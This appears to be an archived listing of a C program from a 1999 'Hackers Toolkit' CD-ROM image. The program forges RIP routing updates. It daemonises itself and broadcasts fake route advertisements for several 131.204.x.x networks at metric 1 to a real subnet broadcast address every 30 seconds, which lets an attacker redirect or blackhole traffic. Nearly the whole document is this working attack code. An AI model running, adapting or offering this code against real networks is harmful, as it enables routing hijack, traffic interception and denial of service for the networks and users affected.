home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Udp / unix / dorip.c next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  77 lines

  1.  
  2.  
  3. #include <stdio.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <arpa/inet.h>
  9.  
  10. main()
  11. {
  12.         struct ripheader {
  13.                 char command;
  14.                 char version;
  15.                 short zero1;
  16.                 long famzero;           /* family plus zero, two shorts in one long */
  17.                 long ip1;
  18.                 long zero3;
  19.                 long zero4;
  20.                 long distance1;
  21.                 long fam2, ip2, z5, z6, d2;
  22.                 long fam3, ip3, z7, z8, d3;
  23.                 long fam4, ip4, z9, z10, d4;
  24.         };
  25.         int childpid;
  26.         int sock;
  27.         struct sockaddr_in sockaddr;    /* the setup socket for receiving */
  28.         struct sockaddr_in dest;                        /* send to broadcast */
  29.         int socklen = sizeof(struct sockaddr_in);
  30.         int on=1;
  31.         int onsize = sizeof(on);
  32.         
  33.         struct ripheader header={2, 1, 0, 
  34.                         0x00020000, 0x83cc6a00, 0, 0, 1,
  35.                         0x00020000, 0x83cc6b00, 0, 0, 1,
  36.                         0x00020000, 0x83cc6c00, 0, 0, 1, 
  37.                         0x00020000, 0x83cc5b00, 0, 0, 1};
  38.  
  39.         if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) {
  40.                 perror("can't get socket");
  41.                 exit(-1);
  42.         }
  43.                 
  44.         if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &on, onsize) < 0) {
  45.         perror("Couldn't set socket options");
  46.         exit(1);
  47.     }
  48.  
  49.         sockaddr.sin_family = AF_INET;
  50.         sockaddr.sin_addr.s_addr = INADDR_ANY;
  51.         sockaddr.sin_port = htons(520);
  52.  
  53.         if (bind(sock, (struct sockaddr *) &sockaddr, socklen) < 0) {
  54.                 perror("couldn't bind socket");
  55.                 exit(-3);
  56.         }
  57.  
  58.         dest.sin_family = AF_INET;
  59.         dest.sin_addr.s_addr = inet_addr("131.204.46.255");
  60.         dest.sin_port = htons(520);
  61.  
  62.         if ((childpid = fork()) < 0) {
  63.                 printf("couldn't go to background");
  64.                 exit(1);
  65.         } else if (childpid == 0) {
  66.                 setsid();
  67.                 while(1) {
  68.                         sendto(sock, (char *) &header, sizeof(header), 0, 
  69.                                                         (struct sockaddr *) &dest, sizeof(dest));
  70.                         sleep(30);
  71.                 }
  72.         } else {
  73.                 exit(0);
  74.         }
  75.  
  76. }
  77.